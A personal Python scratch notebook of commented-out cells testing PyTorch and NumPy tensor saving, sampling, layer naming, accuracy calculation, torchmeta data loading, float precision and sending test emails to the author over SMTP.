# from pathlib import Path
#
# path = Path('~/data/tmp/').expanduser()
# path.mkdir(parents=True, exist_ok=True)
#
# lb, ub = -1, 1
# num_samples = 5
# x = np.random.uniform(low=lb, high=ub, size=(1, num_samples))
# y = x ** 2 + x + 2
#
# np.save(path / 'x', x)
# np.save(path / 'y', y)
#
# x_loaded = np.load(path / 'x.npy')
# y_load = np.load(path / 'y.npy')
#
# print(x is x_loaded) # False
# print(x == x_loaded) # [[ True True True True True]]
#
# # %%
#
# # saving torch tensors
#
# import torch
# import torch.nn as nn
# import torchvision
#
# from pathlib import Path
# from collections import OrderedDict
#
# path = Path('~/data/tmp/').expanduser()
# path.mkdir(parents=True, exist_ok=True)
#
# tensor_a = torch.rand(2, 3)
# tensor_b = torch.rand(1, 3)
#
# db = {'a': tensor_a, 'b': tensor_b}
#
# torch.save(db, path / 'torch_db')
# loaded = torch.load(path / 'torch_db')
# print(loaded['a'] == tensor_a)
# print(loaded['b'] == tensor_b)
#
# # testing if ToTensor() screws things up
# lb, ub = -1, 1
# N, Din, Dout = 3, 1, 1
# x = torch.distributions.Uniform(low=lb, high=ub).sample((N, Din))
# print(x)
#
# f = nn.Sequential(OrderedDict([
# ('f1', nn.Linear(Din, Dout)),
# ('out', nn.SELU())
# ]))
# y = f(x)
#
# transform = torchvision.transforms.transforms.ToTensor()
# y_proc = transform(y)
# print(y_proc)
#
# # %%
#
# # union dictionaries, https://stackoverflow.com/questions/38987/how-do-i-merge-two-dictionaries-in-a-single-expression-in-python
#
# d1 = {'a': 1, 'b': 2.5}
# d2 = {'b': 2, 'c': 3, 'd': 4}
# d = {**d1, **d2}
# # duplicates resolved in favour of d2
# print(d)
#
# # %%
#
# # generating uniform variables
#
# import numpy as np
#
# num_samples = 3
# Din = 1
# lb, ub = -1, 1
#
# xn = np.random.uniform(low=lb, high=ub, size=(num_samples, Din))
# print(xn)
#
# import torch
#
# sampler = torch.distributions.Uniform(low=lb, high=ub)
# r = sampler.sample((num_samples, Din))
#
# print(r)
#
# r2 = torch.torch.distributions.Uniform(low=lb, high=ub).sample((num_samples, Din))
#
# print(r2)
#
# # process input
# f = nn.Sequential(OrderedDict([
# ('f1', nn.Linear(Din, Dout)),
# ('out', nn.SELU())
# ]))
# Y = f(r2)
# print(Y)
#
# # %%
#
# # sampling from normal distribution in torch
#
# import torch
#
# num_samples = 3
# Din = 1
# mu, std = 0, 1
# x = torch.distributions.normal.Normal(loc=mu, scale=std).sample((num_samples, Din))
#
# print(x)
#
# # %%
#
# # creating data and running through a nn and saving it
#
# import torch
# import torch.nn as nn
#
# from pathlib import Path
# from collections import OrderedDict
#
# import numpy as np
#
# import pickle
#
# path = Path('~/data/tmp/').expanduser()
# path.mkdir(parents=True, exist_ok=True)
#
# num_samples = 3
# Din, Dout = 1, 1
# lb, ub = -1, 1
#
# x = torch.torch.distributions.Uniform(low=lb, high=ub).sample((num_samples, Din))
#
# f = nn.Sequential(OrderedDict([
# ('f1', nn.Linear(Din, Dout)),
# ('out', nn.SELU())
# ]))
# y = f(x)
#
# # save data torch to numpy
# x_np, y_np = x.detach().cpu().numpy(), y.detach().cpu().numpy()
# np.savez(path / 'db', x=x_np, y=y_np)
#
# print(x_np)
# # save model
# with open('db_saving_seq', 'wb') as file:
# pickle.dump({'f': f}, file)
#
# # load model
# with open('db_saving_seq', 'rb') as file:
# db = pickle.load(file)
# f2 = db['f']
#
# # test that it outputs the right thing
# y2 = f2(x)
#
# y_eq_y2 = y == y2
# print(y_eq_y2)
#
# db2 = {'f': f, 'x': x, 'y': y}
# torch.save(db2, path / 'db_f_x_y')
#
# print('Done')
#
# db3 = torch.load(path / 'db_f_x_y')
# f3 = db3['f']
# x3 = db3['x']
# y3 = db3['y']
# yy3 = f3(x3)
#
# y_eq_y3 = y == y3
# print(y_eq_y3)
#
# y_eq_yy3 = y == yy3
# print(y_eq_yy3)
#
# # %%
#
# # test for saving everything with torch.save
#
# import torch
# import torch.nn as nn
#
# from pathlib import Path
# from collections import OrderedDict
#
# import numpy as np
#
# import pickle
#
# path = Path('~/data/tmp/').expanduser()
# path.mkdir(parents=True, exist_ok=True)
#
# num_samples = 3
# Din, Dout = 1, 1
# lb, ub = -1, 1
#
# x = torch.torch.distributions.Uniform(low=lb, high=ub).sample((num_samples, Din))
#
# f = nn.Sequential(OrderedDict([
# ('f1', nn.Linear(Din, Dout)),
# ('out', nn.SELU())
# ]))
# y = f(x)
#
# # save data torch to numpy
# x_np, y_np = x.detach().cpu().numpy(), y.detach().cpu().numpy()
# db2 = {'f': f, 'x': x_np, 'y': y_np}
# torch.save(db2, path / 'db_f_x_y')
# # np.savetxt(path / 'output.csv', y_np) # for csv
#
# db3 = torch.load(path / 'db_f_x_y')
# f3 = db3['f']
# x3 = db3['x']
# y3 = db3['y']
# xx = torch.tensor(x3)
# yy3 = f3(xx)
#
# print(yy3)
#
# # %%
#
# # my saving code for synthetic data, nvm using torch.save for everything
#
# # import torch
# # import torch.nn as nn
# #
# # from pathlib import Path
# # from collections import OrderedDict
# #
# # import numpy as np
# #
# # path = Path('~/data/tmp/').expanduser()
# # path.mkdir(parents=True, exist_ok=True)
# #
# # num_samples = 3
# # Din, Dout = 1, 1
# # lb, ub = -1, 1
# #
# # x = torch.torch.distributions.Uniform(low=lb, high=ub).sample((num_samples, Din))
# #
# # f = nn.Sequential(OrderedDict([
# # ('f1', nn.Linear(Din,Dout)),
# # ('out', nn.SELU())
# # ]))
# # y = f(x)
# #
# # # save data torch to numpy
# # x_np, y_np = x.detach().cpu().numpy(), y.detach().cpu().numpy()
# # np.savez(path / 'data', x=x_np, y=y_np)
# #
# # # save model
# # torch.save(f,path / 'f')
#
# # %%
#
# import torch
#
# import torch.nn as nn
#
# from collections import OrderedDict
#
# num_samples = 3
# Din, Dout = 1, 1
# lb, ub = -1, 1
#
# x = torch.torch.distributions.Uniform(low=lb, high=ub).sample((num_samples, Din))
#
# hidden_dim = [(Din, 20), (20, 20), (20, 20), (20, 20), (20, Dout)]
# f = nn.Sequential(OrderedDict([
# ('fc1;l1', nn.Linear(hidden_dim[0][0], hidden_dim[0][1])),
# ('relu2', nn.ReLU()),
# ('fc2;l1', nn.Linear(hidden_dim[1][0], hidden_dim[1][1])),
# ('relu2', nn.ReLU()),
# ('fc3;l1', nn.Linear(hidden_dim[2][0], hidden_dim[2][1])),
# ('relu3', nn.ReLU()),
# ('fc4;l1', nn.Linear(hidden_dim[3][0], hidden_dim[3][1])),
# ('relu4', nn.ReLU()),
# ('fc5;final;l2', nn.Linear(hidden_dim[4][0], hidden_dim[4][1]))
# ]))
#
# y = f(x)
#
# print(y)
#
# section_label = [1] * 4 + [2]
# print(section_label)
#
# # %%
#
# # get list of paths to task
# # https://stackoverflow.com/questions/973473/getting-a-list-of-all-subdirectories-in-the-current-directory
# # https://stackoverflow.com/a/44228436/1601580
#
# from pathlib import Path
# from glob import glob
#
# meta_split = 'train'
# data_path = Path('~/data/LS/debug/fully_connected_NN_mu1_1.0_std1_2.5_mu2_1.0_std2_0.5/')
# data_path = (data_path / meta_split).expanduser()
#
# # with path lib
# tasks_folder = [f for f in data_path.iterdir() if f.is_dir()]
#
# assert ('f_avg' not in tasks_folder)
#
# len_folder = len(tasks_folder)
# print(len_folder)
# print(tasks_folder)
# print()
#
# # with glob
# p = str(data_path) + '/*/'
# print(p)
# tasks_folder = glob(p)
#
# assert ('f_avg' not in tasks_folder)
#
# len_folder = len(tasks_folder)
# print(len_folder)
# print(tasks_folder)
# print()
#
# # with glob and negation
# print(set(glob(str(data_path / "f_avg"))))
# tasks_folder = set(glob(str(data_path / '*'))) - set(glob(str(data_path / "f_avg")))
#
# assert ('f_avg' not in tasks_folder)
#
# len_folder = len(tasks_folder)
# print(len_folder)
# print(tasks_folder)
# print()
#
# # %%
#
# # looping through metasets
#
# from torchmeta.utils.data import BatchMetaDataLoader
# from torchmeta.transforms import ClassSplitter
# from torchmeta.toy import Sinusoid
#
# from tqdm import tqdm
#
# # get data set
# dataset = Sinusoid(num_samples_per_task=25, num_tasks=30)
# shots, test_shots = 5, 15
# # get metaset
# metaset = ClassSplitter(
# dataset,
# num_train_per_class=shots,
# num_test_per_class=test_shots,
# shuffle=True)
# # get meta-dataloader
# batch_size = 16
# num_workers = 0
# meta_dataloader = BatchMetaDataLoader(metaset, batch_size=batch_size, num_workers=num_workers)
# epochs = 2
#
# print(f'batch_size = {batch_size}')
# print(f'len(metaset) = {len(metaset)}')
# print(f'len(meta_dataloader) = {len(meta_dataloader)}')
# with tqdm(range(epochs)) as tepochs:
# for epoch in tepochs:
# for batch_idx, batch in enumerate(meta_dataloader):
# print(f'\nbatch_idx = {batch_idx}')
# train_inputs, train_targets = batch['train']
# test_inputs, test_targets = batch['test']
# print(f'train_inputs.shape = {train_inputs.shape}')
# print(f'train_targets.shape = {train_targets.shape}')
# print(f'test_inputs.shape = {test_inputs.shape}')
# print(f'test_targets.shape = {test_targets.shape}')
#
# # %%
#
# from tqdm import tqdm
#
# import time
#
# with tqdm(range(5)) as trange:
# for t in trange:
# print(t)
# time.sleep(1)
#
# # %%
#
#
# import torch
# import torch.nn as nn
#
# l1 = torch.tensor([1, 2, 3.]) ** 0.5
# l2 = torch.tensor([0, 0, 0.0])
# mse = nn.MSELoss()
# loss = mse(l1, l2)
# print(loss)
#
# # %%
#
# import numpy as np
#
# x = np.arange(0, 10)
# print(x)
#
# print(x.max())
# print(x.min())
# print(x.mean())
# print(np.median(x))
#
# # %%
#
# x = torch.randn(3)
# print(x)
# print(x.argmax(-1))
#
# # %%
#
# # testing accuracy function
# # https://discuss.pytorch.org/t/calculating-accuracy-of-the-current-minibatch/4308/11
# # https://stackoverflow.com/questions/51503851/calculate-the-accuracy-every-epoch-in-pytorch
#
# import torch
# import torch.nn as nn
#
# D = 1
# true = torch.tensor([0, 1, 0, 1, 1]).reshape(5, 1)
# print(f'true.size() = {true.size()}')
#
# batch_size = true.size(0)
# print(f'batch_size = {batch_size}')
# x = torch.randn(batch_size, D)
# print(f'x = {x}')
# print(f'x.size() = {x.size()}')
#
# mdl = nn.Linear(D, 1)
# logit = mdl(x)
# _, pred = torch.max(logit.data, 1)
#
# print(f'logit = {logit}')
#
# print(f'pred = {pred}')
# print(f'true = {true}')
#
# acc = (true == pred).sum().item()
# print(f'acc = {acc}')
#
# # %%
#
# # https://towardsdatascience.com/understanding-dimensions-in-pytorch-6edf9972d3be
# # dimension
# # https://discuss.pytorch.org/t/how-does-one-get-the-predicted-classification-label-from-a-pytorch-model/91649/4?u=brando_miranda
# """
# Dimension reduction. It collapses/reduces a specific dimension by selecting an element from that dimension to be
# reduced.
# Consider x is 3D tensor. x.sum(1) converts x into a tensor that is 2D using an element from D1 elements in
# the 1th dimension. Thus:
# x.sum(1) = x[i,k] = op(x[i,:,k]) = op(x[i,0,k],...,x[i,D1,k])
# the key is to realize that we need 3 indices to select a single element. So if we use only 2 (because we are collapsing)
# then we have D1 number of elements possible left that those two indices might indicate. So from only 2 indices we get a
# set that we need to specify how to select. This is where the op we are using is used for and selects from this set.
# In theory if we want to collapse many indices we need to indicate how we are going to allow indexing from a smaller set
# of indices (using the remaining set that we'd usually need).
# """
#
# import torch
#
# x = torch.tensor([
# [1, 2, 3],
# [4, 5, 6]
# ])
#
# print(f'x.size() = {x.size()}')
#
# # sum the 0th dimension (rows). So we get a bunch of colums that have the rows added together.
# x0 = x.sum(0)
# print(x0)
#
# # sum the 1th dimension (columns)
# x1 = x.sum(1)
# print(x1)
#
# x_1 = x.sum(-1)
# print(x_1)
#
# x0 = x.max(0)
# print(x0.values)
#
# y = torch.tensor([[
# [1, 2, 3, 4],
# [5, 6, 7, 8],
# [9, 10, 11, 12]],
#
# [[13, 14, 15, 16],
# [17, 18, 19, 20],
# [21, 22, 23, 24]]])
#
# print(y)
#
# # into the screen [1, 13]
# print(y[:, 0, 0])
# # columns [1, 5, 9]
# print(y[0, :, 0])
# # rows [1, 2, 3, 4]
# print(y[0, 0, :])
#
# # for each remaining index, select the largest value in the "screen" dimension
# y0 = y.max(0)
# print(y0.values)
#
#
# # %%
#
# # understanding making label predictions
# # https://discuss.pytorch.org/t/how-does-one-get-the-predicted-classification-label-from-a-pytorch-model/91649/3?u=brando_miranda
#
# def calc_accuracy(mdl, X, Y):
# # reduce/collapse the classification dimension according to max op
# # resulting in most likely label
# max_vals, max_indices = mdl(X).max(1)
# # assumes the first dimension is batch size
# n = max_indices.size(0) # index 0 for extracting the # of elements
# # calulate acc (note .item() to do float division)
# acc = (max_indices == Y).sum().item() / n
# return acc
#
#
# import torch
# import torch.nn as nn
#
# # data dimension [batch-size, D]
# D, Dout = 1, 5
# batch_size = 16
# x = torch.randn(batch_size, D)
# y = torch.randint(low=0, high=Dout, size=(batch_size,))
#
# mdl = nn.Linear(D, Dout)
# logits = mdl(x)
# print(f'y.size() = {y.size()}')
# # removes the 1th dimension with a max, which is the classification layer
# # which means it returns the most likely label. Also, note you need to choose .indices since you want to return the
# # position of where the most likely label is (not it's raw logit value)
# pred = logits.max(1).indices
# print(pred)
#
# print('--- preds vs truth ---')
# print(f'predictions = {pred}')
# print(f'y = {y}')
#
# acc = (pred == y).sum().item() / pred.size(0)
# print(acc)
# print(calc_accuracy(mdl, x, y))
#
# # %%
#
# # https://discuss.pytorch.org/t/runtimeerror-element-0-of-variables-does-not-require-grad-and-does-not-have-a-grad-fn/11074/20
#
# import torch
# import torch.nn as nn
#
# x = torch.randn(1)
# mdl = nn.Linear(1, 1)
#
# y = mdl(x)
# print(mdl.weight)
#
# print(y)
#
# # %%
#
# # https://discuss.pytorch.org/t/how-to-get-the-module-names-of-nn-sequential/39682
# # looping through modules but get the one with a specific name
#
# import torch
# import torch.nn as nn
#
# from collections import OrderedDict
#
# params = OrderedDict([
# ('fc0', nn.Linear(in_features=4, out_features=4)),
# ('ReLU0', nn.ReLU()),
# ('fc1L:final', nn.Linear(in_features=4, out_features=1))
# ])
# mdl = nn.Sequential(params)
#
# # throws error
# # mdl['fc0']
#
# for m in mdl.children():
# print(m)
#
# print()
#
# for m in mdl.modules():
# print(m)
#
# print()
#
# for name, m in mdl.named_modules():
# print(name)
# print(m)
#
# print()
#
# for name, m in mdl.named_children():
# print(name)
# print(m)
#
# # %%
#
# # apply mdl to x until the final layer, then return the embeding
#
# import torch
# import torch.nn as nn
#
# from collections import OrderedDict
#
# Din, Dout = 1, 1
# H = 10
#
# modules = OrderedDict([
# ('fc0', nn.Linear(in_features=Din, out_features=H)),
# ('ReLU0', nn.ReLU()),
#
# ('fc1', nn.Linear(in_features=H, out_features=H)),
# ('ReLU1', nn.ReLU()),
#
# ('fc2', nn.Linear(in_features=H, out_features=H)),
# ('ReLU2', nn.ReLU()),
#
# ('fc3', nn.Linear(in_features=H, out_features=H)),
# ('ReLU3', nn.ReLU()),
#
# ('fc4L:final', nn.Linear(in_features=H, out_features=Dout))
# ])
#
# mdl = nn.Sequential(modules)
#
# out = x
# for name, m in self.base_model.named_children():
# if 'final' in name:
# # return out
# break
# out = m(out)
#
# print(out.size())
#
# # %%
#
# # initializing a constant weight net
# # https://discuss.pytorch.org/t/how-to-add-appropriate-noise-to-a-neural-network-with-constant-weights-so-that-back-propagation-training-works/93411
#
# # import torch
#
# # [layer.reset_parameters() for layer in base_model.children() if hasattr(layer, 'reset_parameters')]
#
# # model = nn.Linear(1, 1)
# # model_copy = copy.deepcopy(model)
#
# # %%
#
# print('start')
#
# # f_avg: PLinReg vs MAML
#
# import numpy as np
# from matplotlib import my_pyplot as plt
# from pathlib import Path
#
# datas_std = [0.1, 0.125, 0.1875, 0.2]
#
# pl = [2.3078539778125768e-07,
# 1.9997889411762922e-07,
# 2.729681222011256e-07,
# 3.2532371115080884e-07]
# pl_stds = [1.4852212316567463e-08,
# 5.090588920661132e-09,
# 1.1424832554909115e-08,
# 5.058656213138166e-08]
#
# maml = [3.309504692539563e-07,
# 4.1058904888091606e-06,
# 6.8326703386053605e-06,
# 7.4616147721799645e-06]
# maml_stds = [4.039131189060566e-08,
# 3.66839089258494e-08,
# 9.20683484136399e-08,
# 9.789292209743077e-08]
#
# # fig = plt.figure()
# fig, ax = plt.subplots(nrows=1, ncols=1)
#
# ax.set_title('MAML vs Pre-Trained embedding with Linear Regression')
#
# x = datas_std
#
# ax.errorbar(x, pl, yerr=pl_stds, label='PLinReg', marker='o')
# ax.errorbar(x, maml, yerr=maml_stds, label='MAML', marker='o')
# ax.plot()
# ax.legend()
#
# ax.set_xlabel('std (of FNN Data set)')
# ax.set_ylabel('meta-test loss (MSE)')
#
# plt.show()
#
# # path = Path('~/ultimate-utils/plot').expanduser()
# # fig.savefig(path)
#
# print('done \a')
# # %%
#
# # Torch-meta miniImagenet
# # loop through meta-batches of this data set, print the size, make sure it's the size you exepct
#
# import torchmeta
# from torchmeta.utils.data import BatchMetaDataLoader
# from torchmeta.transforms import ClassSplitter
# # from torchmeta.toy import Sinusoid
#
# from tqdm import tqdm
#
# # dataset = Sinusoid(num_samples_per_task=100, num_tasks=20)
# dataset = torchmeta.datasets.MiniImagenet(data_path, num_classes_per_task=5, meta_train=True, download=True)
# print(f'type(metaset_miniimagenet) = {type(dataset)}')
# print(f'len(metaset_miniimagenet) = {len(dataset)}')
# shots, test_shots = 5, 15
# # get metaset
# metaset = ClassSplitter(
# dataset,
# num_train_per_class=shots,
# num_test_per_class=test_shots,
# shuffle=True)
# # get meta-dataloader
# batch_size = 16
# num_workers = 0
# meta_dataloader = BatchMetaDataLoader(metaset, batch_size=batch_size, num_workers=num_workers)
# epochs = 2
#
# print(f'batch_size = {batch_size}')
# print(f'len(metaset) = {len(metaset)}')
# print(f'len(meta_dataloader) = {len(meta_dataloader)}\n')
# with tqdm(range(epochs)) as tepochs:
# for epoch in tepochs:
# print(f'\n[epoch={epoch}]')
# for batch_idx, batch in enumerate(meta_dataloader):
# print(f'batch_idx = {batch_idx}')
# train_inputs, train_targets = batch['train']
# test_inputs, test_targets = batch['test']
# print(f'train_inputs.shape = {train_inputs.shape}')
# print(f'train_targets.shape = {train_targets.shape}')
# print(f'test_inputs.shape = {test_inputs.shape}')
# print(f'test_targets.shape = {test_targets.shape}')
# print()
#
# # %%
#
# import torch
#
# x = torch.tensor([1., 2, 3])
# print(x.mean())
#
# print(x * x)
# print(x @ x)
# print(x.matmul(x))
#
# # x.mm(x) weird error
#
# # %%
#
# import torch
#
# x = torch.randn(12, 20)
# y = torch.randn(20, 30)
#
# out = x @ y
# print(out.size())
#
# # %%
# # https://www.youtube.com/watch?v=46RjXawJQgg&t=1493s
#
# from pathlib import Path
#
# from pandas import read_csv
#
# read_csv(Path())
#
# # %%
#
# print('hello-world')
# xx = 2
#
# print(xx)
#
# print(' ')
#
# ##
# print('end!')
#
# # %%
#
# # let's see how big the random values from the normal are
#
# import torch
#
# D = 8
# w = torch.tensor([0.1] * D)
# print(f'w.size() = {w.size()}')
# mu = torch.zeros(w.size())
# std = w * 1.5e-2 # two decimal places and a little more
# noise = torch.distributions.normal.Normal(loc=mu, scale=std).sample()
#
# print('--- noise ')
# print(noise.size())
# print(noise)
#
# w += noise
# print('--- w')
# print(w.size())
# print(w)
#
# # %%
#
# # editing parameters in pytorch in place without error: https://discuss.pytorch.org/t/how-are-layer-weights-and-biases-initialized-by-default/13073/41
#
# import torch
# import torch.nn as nn
# from collections import OrderedDict
#
# Din, Dout = 8, 1
#
# base_model = nn.Sequential(OrderedDict([
# ('f1', nn.Linear(Din, Dout)),
# ('out', nn.SELU())
# ]))
#
# with torch.no_grad():
# for i, w in enumerate(base_model.parameters()):
# print(f'--- i = {i}')
# print(w)
# w += w + 0.001
# print(w)
#
# # %%
#
# # pickle vs torch.save
#
# # def log_validation(args, meta_learner, outer_opt, meta_val_set):
# # """ Log the validation loss, acc. Checkpoint the model if that flag is on. """
# # if args.save_ckpt: # pickle vs torch.save https://discuss.pytorch.org/t/advantages-disadvantages-of-using-pickle-module-to-save-models-vs-torch-save/79016
# # # make dir to logs (and ckpts) if not present. Throw no exceptions if it already exists
# # path_to_ckpt = args.logger.current_logs_path
# # path_to_ckpt.mkdir(parents=True, exist_ok=True) # creates parents if not presents. If it already exists that's ok do nothing and don't throw exceptions.
# # ckpt_path_plus_path = path_to_ckpt / Path('db')
# #
# # args.base_model = "check the meta_learner field in the checkpoint not in the args field" # so that we don't save the child model so many times since it's part of the meta-learner
# # # note this obj has the last episode/outer_i we ran
# # torch.save({'args': args, 'meta_learner': meta_learner}, ckpt_path_plus_path)
# # acc_mean, acc_std, loss_mean, loss_std = meta_eval(args, meta_learner, meta_val_set)
# # if acc_mean > args.best_acc:
# # args.best_acc, args.loss_of_best = acc_mean, loss_mean
# # args.logger.loginfo(
# # f"***> Stats of Best Acc model: meta-val loss: {args.loss_of_best} +- {loss_std}, meta-val acc: {args.best_acc} +- {acc_std}")
# # return acc_mean, acc_std, loss_mean, loss_std
#
# # %%
#
# import numpy as np
# from sklearn.linear_model import LinearRegression
#
# X = np.array([[1, 1], [1, 2], [2, 2], [2, 3]])
# # y = 1 * x_0 + 2 * x_1 + 3
# y = np.dot(X, np.array([1, 2])) + 3
# reg = LinearRegression()
# print(reg)
# reg = LinearRegression().fit(X, y)
# print(reg)
# reg.score(X, y)
#
# reg.coef_
#
# reg.intercept_
#
# reg.predict(np.array([[3, 5]]))
#
# # %%
#
# # https://stackoverflow.com/questions/63818676/what-is-the-machine-precision-in-pytorch-and-when-should-one-use-doubles
# # https://discuss.pytorch.org/t/how-does-one-start-using-double-without-unexpected-bugs/95715
# # https://discuss.pytorch.org/t/what-is-the-machine-precision-of-pytorch-with-cpus-or-gpus/9384
#
# import torch
#
# x1 = torch.tensor(1e-6)
# x2 = torch.tensor(1e-7)
# x3 = torch.tensor(1e-8)
# x4 = torch.tensor(1e-9)
#
# eps = torch.tensor(1e-11)
#
# print(x1.dtype)
# print(x1)
# print(x1 + eps)
#
# print(x2)
# print(x2 + eps)
#
# print(x3)
# print(x3 + eps)
#
# print(x4)
# print(x4 + eps)
#
# # %%
#
# # python float is a C double
# # NumPy's standard numpy.float is the same (so C double), also numpy.float64.
# # https://www.doc.ic.ac.uk/~eedwards/compsys/float/
# # https://stackoverflow.com/questions/1049722/what-is-2s-complement
# # https://www.cs.cornell.edu/~tomf/notes/cps104/twoscomp.html#whyworks
# # https://stackoverflow.com/questions/7524838/fixed-point-vs-floating-point-number
# # https://en.wikipedia.org/wiki/Single-precision_floating-point_format
# # https://www.cs.cornell.edu/~tomf/notes/cps104/twoscomp.html#whyworks
#
# import torch
#
# xf = torch.tensor(1e-7)
# xd = torch.tensor(1e-7, dtype=torch.double)
# epsf = torch.tensor(1e-11)
#
# print(xf.dtype)
# print(xf)
# print(xf.item())
# print(type(xf.item()))
#
# #
# print('\n> test when a+eps = a')
# print(xf.dtype)
# print(f'xf = {xf}')
# print(f'xf + 1e-7 = {xf + 1e-7}')
# print(f'xf + 1e-11 = {xf + 1e-11}')
# print(f'xf + 1e-8 = {xf + 1e-8}')
# print(f'xf + 1e-16 = {xf + 1e-16}')
# # after seeing the above it seems that there are errors if things are small
#
# print('\n> test when a+eps = a')
# x = torch.tensor(1e-7, dtype=torch.double)
# print(f'xf = {x}')
# print(f'xf + 1e-7 = {x + 1e-7}')
# print(f'xf + 1e-11 = {x + 1e-11}')
# print(f'xf + 1e-8 = {x + 1e-8}')
# print(f'xf + 1e-16 = {x + 1e-16}')
# # using doubles clearly is better but still has some errors
#
# print('\n> test when a+eps = a')
# x = torch.tensor(1e-4)
# print(f'xf = {x}')
# print(f'xf + 1e-7 = {x + 1e-7}')
# print(f'xf + 1e-11 = {x + 1e-11}')
# print(f'xf + 1e-8 = {x + 1e-8}')
# print(f'xf + 1e-16 = {x + 1e-16}')
#
# # %%
#
# # https://pytorch.org/docs/stable/torchvision/models.html
#
# # %%
#
# import torch
#
# print(torch.zeros(2))
# m = torch.distributions.MultivariateNormal(torch.zeros(2), torch.eye(2))
# x = m.sample()
# print(x)
#
# # m = torch.distributions.MultivariateNormal(torch.zeros(1, 3), torch.eye(1, 3))
# # mu = m.sample()
# # print(mu)
#
# m = torch.distributions.MultivariateNormal(torch.zeros(1, 5), torch.eye(5))
# y = m.sample()
# print(y)
#
# # %%
#
# from pathlib import Path
# from matplotlib import my_pyplot as plt
#
# import numpy as np
#
# path = Path('~/data/').expanduser()
#
# # x = np.linspace(0, 2*np.pi, 50)
# x = np.random.uniform(0, 2 * np.pi, 100)
# noise = np.random.normal(0.0, 0.05, 100)
# print(noise)
# y = np.sin(x) + noise
# plt.figure()
# plt.scatter(x, y)
# plt.ylabel('f(x)')
# plt.ylabel('x (raw feature)')
# plt.savefig(path / 'test_fig.pdf')
# plt.savefig(path / 'test_fig.png')
# plt.show()
#
# # %%
#
# from socket import gethostname
# from email.message import EmailMessage
# import smtplib
#
# server = smtplib.SMTP('smtp.gmail.com', 587)
# server.starttls()
# print(server)
#
# # %%
#
# # MTA (Mail Transfer Agent)
# # https://stackoverflow.com/questions/784201/is-there-a-python-mta-mail-transfer-agent
# # https://www.quora.com/How-does-one-send-e-mails-from-Python-using-MTA-Mail-Transfer-Agent-rather-than-an-SMTP-library
# # https://www.reddit.com/r/learnpython/comments/ixlq81/how_does_one_send_emails_from_python_using_mta/
#
# # Q why can't I just send an email directly?
# # Q why do smtp libraries exist
#
# # %%
#
# import smtplib
#
# server = smtplib.SMTP('smtp.intel-research.net', 25)
# server.starttls()
# print(server)
#
#
# # %%
#
# # from socket import gethostname
# # from email.message import EmailMessage
# # import smtplib
# #
# # server = smtplib.SMTP('smtp.gmail.com', 587)
# # server.starttls()
# # # not a real email account nor password, its all ok!
# # server.login('slurm.miranda@gmail.com', 'dummy123!@#$321')
# #
# # # craft message
# # msg = EmailMessage()
# #
# # message = f'{message}\nSend from Hostname: {gethostname()}'
# # msg.set_content(message)
# # msg['Subject'] = subject
# # msg['From'] = 'slurm.miranda@gmail.com'
# # msg['To'] = destination
# # # send msg
# # server.send_message(msg)
#
# # %%
#
# # send email with smtp intel
#
# def send_email(message):
# from socket import gethostname
# import smtplib
# hostname = gethostname()
# from_address = 'slurm.miranda@gmail.com'
# from_address = 'miranda9@intel-research.net.'
# # to_address = [ 'iam-alert@intel-research.net']
# to_address = ['brando.science@gmail.com']
# subject = f"Test msg from: {hostname}"
# ##
# message = f'Test msg from {hostname}: {message}'
# full_message = f'From: {from_address}\n' \
# f'To: {to_address}\n' \
# f'Subject: {subject}\n' \
# f'{message}'
# server = smtplib.SMTP('smtp.intel-research.net')
# server.sendmail(from_address, to_address, full_message)
# server.quit()
# # sys.exit(1)
#
#
# print('start')
# send_email('HelloWorld')
# print('done email test!')
#
#
# # %%
#
# def send_email2(message):
# from email.mime.multipart import MIMEMultipart
# from email.mime.text import MIMEText
# from socket import gethostname
# import smtplib
# server = smtplib.SMTP('smtp.intel-research.net')
# # craft message
# msg = MIMEMultipart()
#
# message = f'{message}\nSend from Hostname: {gethostname()}'
# msg['Subject'] = 'Test email'
# msg['From'] = 'miranda9@intel-research.net.'
# msg['To'] = 'brando.science@gmail.com'
# msg.attach(MIMEText(message, "plain"))
# # send message
# server.send_message(msg)
# # server.sendmail(from_address, to_address, full_message)
# server.quit()
#
#
# print('start')
# send_email2('HelloWorld')
# print('done email test!')
#
# #%%
#
# from pathlib import Path
#
# message = 'HelloWorld'
# path_to_pdf = Path('~/data/test_fig.pdf').expanduser()
#
# from email.mime.application import MIMEApplication
# from email.mime.multipart import MIMEMultipart
# from email.mime.text import MIMEText
# from socket import gethostname
# import smtplib
#
# server = smtplib.SMTP('smtp.intel-research.net')
# # craft message
# msg = MIMEMultipart()
#
# message = f'{message}\nSend from Hostname: {gethostname()}'
# msg['Subject'] = 'Test email'
# msg['From'] = 'miranda9@intel-research.net.'
# msg['To'] = 'brando.science@gmail.com'
# msg.attach(MIMEText(message, "plain"))
# # attach pdf
# if path_to_pdf.exists():
# with open(path_to_pdf, "rb") as f:
# # attach = email.mime.application.MIMEApplication(f.read(),_subtype="pdf")
# attach = MIMEApplication(f.read(), _subtype="pdf")
# attach.add_header('Content-Disposition', 'attachment', filename=str(path_to_pdf))
# msg.attach(attach)
#
# # send message
# server.send_message(msg)
# # server.sendmail(from_address, to_address, full_message)
# server.quit()
#
# #%%
#
# # Here, we used "w" letter in our argument, which indicates write and will create a file if it does not exist in library
# # Plus sign indicates both read and write.
#
# # with open('data.json', 'w+') as f:
# # json.dump(self.stats, f)
#
# #%%
#
# import numpy as np
# from torch.utils.tensorboard import SummaryWriter # https://deeplizard.com/learn/video/psexxmdrufm
#
# path = Path('~/data/logs/').expanduser()
# tb = SummaryWriter(log_dir=path)
# # tb = SummaryWriter(log_dir=args.current_logs_path)
#
# for i in range(3):
# loss = i + np.random.normal(loc=0, scale=1)
# tb.add_scalar('loss', loss, i)
#
# # %%
#
# # https://pytorch.org/tutorials/beginner/saving_loading_models.html
#
# # Saving & Loading Model for Inference
# # Save/Load state_dict (Recommended)
# # Save:
# # torch.save(model.state_dict(), PATH)
# #
# # # Load:
# # model = TheModelClass(*args, **kwargs)
# # model.load_state_dict(torch.load(PATH))
# # model.eval()
#
# # %%
#
# # Save:
# # torch.save({
# # 'epoch': epoch,
# # 'model_state_dict': model.state_dict(),
# # 'optimizer_state_dict': optimizer.state_dict(),
# # 'loss': loss,
# # ...
# # }, PATH)
# # # Load:
# # model = TheModelClass(*args, **kwargs)
# # optimizer = TheOptimizerClass(*args, **kwargs)
# #
# # checkpoint = torch.load(PATH)
# # model.load_state_dict(checkpoint['model_state_dict'])
# # optimizer.load_state_dict(checkpoint['optimizer_state_dict'])
# # epoch = checkpoint['epoch']
# # loss = checkpoint['loss']
# #
# # model.eval()
# # # - or -
